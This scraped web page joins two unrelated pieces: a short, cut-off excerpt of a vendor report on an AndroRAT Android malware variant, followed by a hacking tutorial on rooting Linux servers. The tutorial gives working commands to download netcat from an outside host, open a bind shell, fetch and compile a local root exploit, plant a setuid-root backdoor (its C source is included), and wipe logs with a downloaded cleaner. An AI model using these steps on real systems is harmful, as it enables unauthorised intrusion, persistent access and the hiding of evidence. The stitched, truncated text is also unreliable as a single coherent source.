Trend Micro detected a new variant of Android Remote Access Tool (AndroRAT) (identified as ANDROIDOS_ANDRORAT.HRXC) that has the ability to inject root exploits to perform malicious tasks such as silent installation, shell command execution, WiFi password collection, and screen capture. This AndroRAT targets <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1805">CVE-2015-1805</a>, a publicly disclosed vulnerability in 2016 that allows attackers to penetrate a number of older Android devices to perform its privilege escalation.</div>
<div style="background: rgb(255, 255, 255); border: 0px; color: #666666; font-family: Arial, sans-serif; font-size: 14px; line-height: 21px; margin-bottom: 10px !important; outline: 0px; padding: 0px; vertical-align: baseline;">
RATs have long been a common Windows threat, so <b>it shouldn't be a surprise that it has come to Android</b>. A RAT has to gain root access — usually by exploiting a <a href="http://www.hackerschronicle.com/search/label/Vulnerability">vulnerability </a>— in order to have control over a system.<b> Discovered in 2012, </b>the original authors intended AndroRAT — <a href="https://forum.xda-developers.com/android/apps-games/androrat-remote-administration-tool-t2734932">initially a university project </a>— as an open-source client/server application that can provide remote control of an <a href="http://www.hackerschronicle.com/search/label/Android">Android </a>system, which naturally attracted cybercriminals.</div>
<div style="background: rgb(255, 255, 255); border: 0px; color: #666666; font-family: Arial, sans-serif; font-size: 14px; line-height: 21px; margin-bottom: 10px !important; outline: 0px; padding: 0px; vertical-align: baseline;">
This new variant of AndroRAT disguises itself as a malicious utility app called TrashCleaner, which is presumably downloaded from a malicious URL. The first time TrashCleaner runs, it prompts the Android device to install a Chinese-labeled calculator app that resembles a pre-installed system calculator. Simultaneously, the TrashCleaner icon will disappear from the device’s UI and the RAT is activated in the background.</div>

The configurable RAT service is controlled by a remote server, which could mean that commands may be issued to trigger different actions. The variant activates the embedded root exploit when executing privileged actions. It performs the following malicious actions found in the original AndroRAT:</div>

<br />
Hello and welcome to rahlabs tutorial on Rooting unix boxes. Today we will learn a few fundementals on what it takes to root a your box! In Today's Tutorial we will be using a linux box.<br />
<br />
Required for this tutorial:<br />
<br />
Access to a shell - Upload by any-means a shell onto a box<br />
<a href="http://b14ck1c3.freehostia.com/miglc">mig-log cleaner</a><br />
<a href="http://www.vulnwatch.org/netcat/nc111nt.zip">Netcat</a><br />
<a href="http://b14ck1c3.freehostia.com/nc">Netcat(unix)</a><br />
<a href="http://jshooter.by.ru/xpl/">Local root Exploit</a><br />
half a brain<br />
willingness to learn<br />
<br />
Now that you have all that in order lets begin.<br />
<br />
Go to the path of or access your shell by whatever means nessecary.<br />
Make sure that your shell is in a writable folder just to make things easy for us. In our case today for this tutorial we will be using storm7shell or gny not exactly my favorite but will get the job done none the less.<br />
An example of this location would be something like:<br />
<br />
<a href="http://target/youshell.php">http://target/youshell.php</a><a href="http://target/youshell.php"></a><br />
Now that we are on your shells page we want to find out what os this box is running and what version the kernel is. In our case it's linux 2.6.8. So we will want to find a local root exploit for this kernel version of the linux os.<br />
<br />
What we want to do now that we have our local root exploit for our kernel is spawn a shell so that we can talk to the victim's box and run our commands without interuption, But how are we suppose to do that? This can be done by using a tool called Netcat. So now that we have a copy of Netcat we will go to the shell, Find the command execution area of the shell and enter:<br />
<br />
<div class="command wobble-horizontal">
wget <a href="http://b14ck1c3.freehostia.com/nc">http://b14ck1c3.freehostia.com/nc</a></div>
<br />
<br />
<br />
What this will do is download the file of Netcat i have pre-compiled and hosted for you onto the victim box to the location of your shell. Once we have the download complete we will want to chmod it so that our user has access to run it. which can be done by entering:<br />
<br />
<div class="command wobble-horizontal">
chmod +x nc</div>
<br />
<br />
What this does is grants everyone (user, group and other) execute permission, and the command to the file nc which we had just previously downloaded onto the box with the wget command.<br />
<br />
Now that we have nc installed on both the victim machine and your own it's time to make our connection. How Do we make a connection with nc? In the command execution area of your shell enter:<br />
<br />
<div class="command wobble-horizontal">
./nc -l -p 8080 -e /bin/sh</div>
<br />
<br />
(shell can be /bin/sh or cmd.exe for example)<br />
<br />
And then on the netcat installed on your pc you will want to enter:<br />
<br />
nc VictimIP Port *in our case 8080*<br />
<div class="command wobble-horizontal">
#nc 123.123.123.123 8080</div>
<br />
<br />
<br />
What this will do is cause the netcat on the victims box to listen on port 8080 and shovel back an interactive shell for you once you make the connection from which you typed:<br />
<br />
nc victimip port<br />
Now that We have our interactive shell spawned we can start to prepare the box for Rooting. First we will want to get our local root exploit onto the box and get it compiled if it's not already. This can be done by once again using that nifty wget command we learned about in the previous steps.<br />
<br />
<div class="command wobble-horizontal">
wget <a href="http://yoursite/xpl">http://yoursite/xpl</a></div>
<br />
<br />
What we have done is now downloaded your exploit. If your exploit is not already compiled you will need to compile it in order to run it. Compiling your exploit can be done by using the gcc, like so:<br />
<br />
<div class="command wobble-horizontal">
gcc xpl.c -o xpl;chmod +x xpl</div>
<br />
<br />
This will compile your xpl.c and output it into a file called xpl wich will be the compiled copy of your exploit and then chmod xpl. Now you are ready to run your exploit and get your root on. The exploit will vary on their usage so make sure you have an understanding of the root exploit you are using. You can run your xpl file by entering in:<br />
<br />
Code:<br />
<div class="command wobble-horizontal">
./xpl</div>
<br />
<br />
Wait until your exploit is finished running once it is done enter:<br />
<br />
<div class="command wobble-horizontal">
#whoami</div>
<br />
<br />
What the whoami command does is tells you who you are if this tells you root then you xpl has done it's job and you now have root priv's on the box. or you can type:<br />
<br />
<div class="command wobble-horizontal">
#id<br />
uid=0(root) gid=0(root) groups=500(apache)</div>
<br />
<br />
And now you can do your happy dance.<br />
Now that we have rooted the box and finished humiliating ourselves by dancing around we want to make sure that we can come and go as we please without all the hassel of Rooting the box over and over. So we will want to create some kind of backdoor. we can make this happen with few lines of code:<br />
Code:<br />
<div class="program glow">
<pre><code class="prettyprint">
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main( void )
{
     setuid( 0 );
     system( "/bin/bash" );
     return 0;
}
</code></pre>
</div>
<br />
<br />
Compile it and change permissions:<br />
Code:<br />
<div class="command wobble-horizontal">
root@foobar /root# gcc -o .bkdr main.c<br />
root@foobar /root# chown root:root .bkdr<br />
root@foobar /root# chmod +s .bkdr</div>
<br />
<br />
Now, all you have to do is put .bkdr somewhere on the system where you can execute it (preferrably in the $PATH) and if you execute it as another user: <br />
Code:<br />
<div class="command wobble-horizontal">
root@foobar /home/raif$ /usr/local/bin/.bkdr<br />
root@foobar /home/raif# whoami<br />
root</div>
<br />
<br />
Now you have your access back. <br />
Alright we are almost completed our mission we have successfully rooted our victims box created ourbackdoor now all we need to do is wipe our tracks that we left in the logs and be on our way. This can be done by using a log cleaner of some kind. For this tutorial we used mig-log cleaner. which you can get here:<br />
<br />
Code:<br />
<br />
<a href="http://b14ck1c3.freehostia.com/miglc">http://b14ck1c3.freehostia.com/miglc</a><a href="http://b14ck1c3.freehostia.com/miglc"></a>Once again we can use our wget command to upload our logcleaner to the rooted box.<br />
<br />
Code:<br />
<div class="command wobble-horizontal">
wget <a href="http://b14ck1c3.freehostia.com/miglc;chmod">http://b14ck1c3.freehostia.com/miglc;chmod</a> +x miglc</div>
<br />
<br />
now just run the logcleaner<br />
<br />
Code:<br />
<div class="command wobble-horizontal">
./miglc</

The mig-log Cleaner has a wide variety of functions which are displayed when you run the log cleaner so you may choose how exactly you want to clean the logs with the commands given to you. I hope you enjoyed my tutorial and learned something from it as well. Good luck to you all.
